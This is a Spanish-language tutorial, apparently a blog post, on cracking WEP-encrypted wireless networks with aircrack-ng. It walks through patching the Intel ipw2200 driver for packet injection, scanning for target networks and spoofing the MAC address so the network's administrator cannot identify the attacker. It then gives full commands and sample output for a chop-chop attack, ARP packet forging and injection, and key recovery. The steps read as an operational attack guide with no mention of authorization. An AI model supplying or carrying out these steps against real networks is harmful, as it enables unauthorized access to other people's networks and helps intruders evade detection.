En esta guía se utilizará la última versión beta de aircrack-ng disponible en el momento escrito.
No serás capaz de craquear una red protegida con WPA con estos pasos, para ello deberías echar un vistazo a este tutorial.
De todos modos, puede darte algunas ideas sobre el proceso.
Instalación de la última versión beta
Las instrucciones originales para descargar y compilar la última versión beta están equivocados.
Estas instrucciones lo harán:
wget http://download.aircrack-ng.org/aircrack-ng-1.0-beta2.tar.gz
tar -zxvf aircrack-ng-*.tar.gz
cd aircrack-ng-*
make
sudo make install
aircrack-ng --help | head -n 2
Comprueba que la salida del último comando es
Aircrack-ng 1.0 beta2 - (C) 2006,2007 Thomas d'Otreppe
para asegurarte de que todo se ha compilado e instalado bien.
Instalación del parche de inyección para IPW 2200
No todos los drivers de Linux soportan la inyección de paquetes, un detalle crucial para acelerar el craqueo, pero hay un montón de parches disponibles.
Aquí voy a explicar cómo activar la inyección del driver para una conexión de red con Intel PRO/Wireless 2200BG (el que tengo en mi computadora portátil Dell).
El parche actual que se puede encontrar es para la versión 1.2.1 ddel driver, pero lo he aplicado con éxito a la versión 1.2.2. también.
En realidad, se necesita la versión 1.2.2 del driver, la versión anterior no funciona bien con todas las redes.
modinfo ipw2200 | grep version
Asegúrete de que dice 1.2.2xxxx.
Así que primero descarga el parche desde aquí.
Patchear y compilar el driver
wget http://ovh.dl.sourceforge.net/sourceforge/ipw2200/ipw2200-1.2.2.tgz tar -zxvf ipw2200-1.2.2.tgz tar -zxvf ipw2200-1.2.1-inject_patch.tar.gz patch ipw2200-1.2.2/ipw2200.c ipw2200-1.2.1-inject.patch patch ipw2200-1.2.2/Makefile ipw2200-1.2.1-inject_Makefile.patch cd ipw2200-1.2.2 make sudo make install
Ignora las siguientes advertencias al parchear el primer archivo:
Hunk #1 succeeded at 2017 with fuzz 2 (offset 46 lines). Hunk #2 succeeded at 11801 (offset 53 lines).
Tal vez recibes una advertencia sobre el módulo ieee80211. La IPW2200 funciona sin ello, pero se puede instalar las fuentes del mencionado módulo con
sudo aptitude install ieee80211-sourceo descargar el código fuente de esta página web.
Utilizar el driver parcheado
Con el fin de permitir la inyección tenemos que reiniciar el driver IPW2200 con su nuevo adaptador de inyección.
sudo -i rmmod ipw2200 modprobe ipw2200 rtap_iface=1 ifconfig rtap0 up exit
Montar automáticamente el adaptador de la inyección
Podemos configurar nuestro Ubuntu para que el módulo IPW2200 se inicia automáticamente con el adaptador de inyección habilitado.
De lo contrario tendríamos que ejecutar las instrucciones anteriores cada vez que reinicie el sistema.
sudo -i echo "options ipw2200 rtap_iface=1" > /etc/modprobe.d/ipw2200.modprobe exit
Atacar a una red inalámbrica
Después de haber instalado y configurado al driver de nuestra tarjeta inalámbrica, todo está listo para nuestro primer ataque.
Comprueba la conexión inalámbrica
Hay que saber cual de las conexiones de red es la inalámbrica (en la mayoría de los sistemas será eth1).
iwconfig | grep "ESSID"
Deberías ver algo como esto cuando no estás conectado a ninguna red:
eth1 unassociated ESSID: ""
Buscar una red para atacar
Hay dos formas de encontrar las redes:
-
iwlist eth1 scan -
sudo airodump-ng eth1
Considerando que el primer método es bueno y útil, porque te muestra al instante todas las redes y da a conocer sus parámetros, el segundo método también muestra sus actividades y es más compacto, aunque tarda un poco más para revelar todas las redes accesibles.
Sea cual sea, ahora que vemos una lista de redes, elegimos una que está protegido por WEP, preferiblemente con un alto número beacon (indicación que la señal de red es fuerte y cercano a nosotros).
Preparación para el ataque
Antes de empezar atacando a una red puede ser una buena idea la de cambiar la dirección MAC de tu dispositivo de red, por si acaso que el administrador de la red atacada ve tu MAC, es más anónima.
sudo ifconfig eth1 up hw ether 00:11:22:33:44:55 ; ifconfig | grep eth1
Comprueba en la salida la dirección cambiada de la MAC.
En segundo lugar tienes que apuntar de la red su BSSID (dirección MAC), el número del canal y ESSID (nombre).
Con estos parámetros configuras tu conexión inalámbrica.
Asegúrate de que has detenido todos los procesos de airodump-ng que podrían estar corriendo todavía.
sudo iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed
Asegúrate de obtener algun resultado parecido a éste de iwconfig, lo que indica que estás conectado a la red seleccionada, de lo contrario debes reejecutar el comando de arriba o seleccionar otra red.
eth1 IEEE 802.11g ESSID:"scoobedoo" Mode:Managed Frequency:2.437 GHz Access Point: 45:A3:C5:FC:9D:47
Nota
Si utilizas un driver parcheado como el del IPW2200, su inyección funciona sólo cuando la conexión de red está asociada a la red atacada.
Por lo tanto, yo prefiero abrir una nueva shell y ejecutar este comando en lugar del otro, que periódicamente intenta volver a conectar con la red:
sudo -i watch -n 5 "iwconfig eth1 essid <ESSID> channel <#> key s:fakekey mode managed ; iwconfig eth1"
Ahora lanza airodump-ng para la recogida de datos de la red seleccionada.
sudo airodump-ng -c <channel#> --bssid <BSSID> -w dump rtap0
Atacar y craquear la red
Ahora viene la parte difícil y recomiendo leer los manuales que se pueden encontrar en el sitio web de aircrack-ng, especialmente éste acerca del ataque chop-chop y él de la amplificación de ARP.
Si haces las cosas de la manera correcta, y todo va bien, el craqueo de una red no dura más de cinco minutos.
Deja que airodump-ng captura paquetes y abre una nueva shell para los próximos pasos.
Por cierto, si ya ves un incremento enorme de paquetes de datos en la salida de airodump-ng, debido a que uno o más clientes están conectados y utilizan en gran medida la red, puedes ir directamente al paso de la obtención de la contraseña.
Los pasos de ataque siguientes sólo son necesarios en el caso contrario, en que fueron sólo unos pocos paquetes de datos que llegan (o ninguno) y la captura de suficientes paquetes tendrá una duración de días o semanas.
Inyección es sólo un método para acelerar el proceso de recolección de paquetes.
Ataque ChopChop
Básicamente, este ataque provoca a la red atacada y trata de descifrar una solicitud ARP válida de los paquetes recibidos de respuesta.
until yes | sudo aireplay-ng -4 -a <BSSID> -h `ifconfig eth1 | grep HWaddr | awk '{print $5}'` -i rtap0 eth1 ; do echo "failed...."; done
Cuando comienza verás un montón de líneas como estas y por último, se completa (en mi ejemplo, tardó medio minuto).
Offset 38 (90% done) | xor = A6 | pt = 08 | 228 frames written in 684ms Offset 37 (92% done) | xor = 99 | pt = 01 | 489 frames written in 1465ms Offset 36 (94% done) | xor = D0 | pt = 00 | 18 frames written in 56ms Offset 35 (96% done) | xor = 9C | pt = 06 | 229 frames written in 687ms Offset 34 (98% done) | xor = 6A | pt = 08 | 147 frames written in 441ms Saving plaintext in replay_dec-1120-125311.cap Saving keystream in replay_dec-1120-125311.xor Completed in 30s (1.60 bytes/s)
Si el ataque falla, vuelva a realizar el comando de nuevo omitiendo el "-h <host MAC>" parámetro.
until yes | sudo aireplay-ng -4 -a <BSSID> -i rtap0 eth1 ; do echo "failed...."; done
Crear un paquete ARP de solicitud válido para la inyección
Para crear una solicitud ARP amplificada, lo que significa que contiene algunas direcciones IP válidas para la red atacada, lo que aumenta drásticamente la recopilación de datos, analiza el paquete descifrado del ataque chop-chop.
tcpdump -r replay_dec-1120-125311.cap
Esto puede llevar algún tiempo, tal vez un minuto, pero finalmente deberias conseguir algo parecido a esto o cualquier otro mensaje que incluye al menos una IP.
reading from file replay_dec-1120-125311.cap, link-type IEEE802_11 (802.11) 12:53:11.982677 arp who-has 10.1.17.3 tell 10.1.17.1
Ahora sabes que una IP de una máquina en esta red es 10.1.17.1.
Utilizamos este hecho para forjar un paquete ARP válido para esta red.
packetforge-ng -0 -a BSSID -h 00:11:22:33:44:55 \
-k 10.1.17.1 -l 10.255.255.255 -y replay_dec-1120-125311.xor \
-w arp-request
Inyección de los paquetes ARP forjados artificialmente
Ahora estas preparado para atacar a la red.
yes | sudo aireplay-ng -2 -r arp-request eth1
¡Echa un vistazo a la salida de airodump-ng!
Deberias ver que el número en la columna # Datos aumenta de repente en pasos acelerados.
Esto se debe a que el router atacado responde a los paquetes ARP artificiales.
La obtención de la contraseña
Ahora que tienes una gran cantidad de paquetes de vectores IVS, puedes lanzar en una shell nueva el programa de craqueo.
aircrack-ng -z dump-*.cap
Si todo funciona bien, verás después de un minuto la clave de la red.
Aircrack-ng 1.0 beta1 [00:01:16] Tested 649 keys (got 59527 IVs) KB depth byte(vote) 0 7/ 9 D6(67328) 1A(66048) A0(66048) E1(66048) 70(65536) D1(65536) 14(65280) 8B(65280) 1 3/ 1 C5(68864) 77(68608) B8(68352) 00(67840) 1A(67584) 2F(67584) 5D(67328) 32(67072) 2 2/ 2 32(69376) 8B(68352) 82(68096) 66(67840) C0(67584) 28(66816) DE(66560) 43(66304) 3 2/ 3 03(71936) D7(69120) E9(69120) 30(68352) 46(68352) 71(68352) 94(68096) 1C(67840) 4 1/ 2 E3(76800) 09(71168) 27(69888) 81(69632) AD(69632) 5A(69376) 8F(69376) 65(68608) KEY FOUND! [ 6F:66:69:63:69:6E:61:73:63:69:72:6F:31 ] (ASCII: office1 ) Decrypted correctly: 100%
Deten la inyección del aireplay-ng con Control-C para no poner problemas para la red por más tiempo.
Si la contraseña no tiene una versión ASCII, puedes introducirla en versión hexadecimal, pero sin los ':' en el medio.
Notas finales
Este manual muestra los pasos que hay que realizar cuando no hay grandes problemas.
Si te encuentras con algunos problemas en uno de los pasos, deberías echar un vistazo al sitio web de aircrack-ng, donde hay un montón de manuales, también para otros adaptadores inalámbricos que la IPW2200.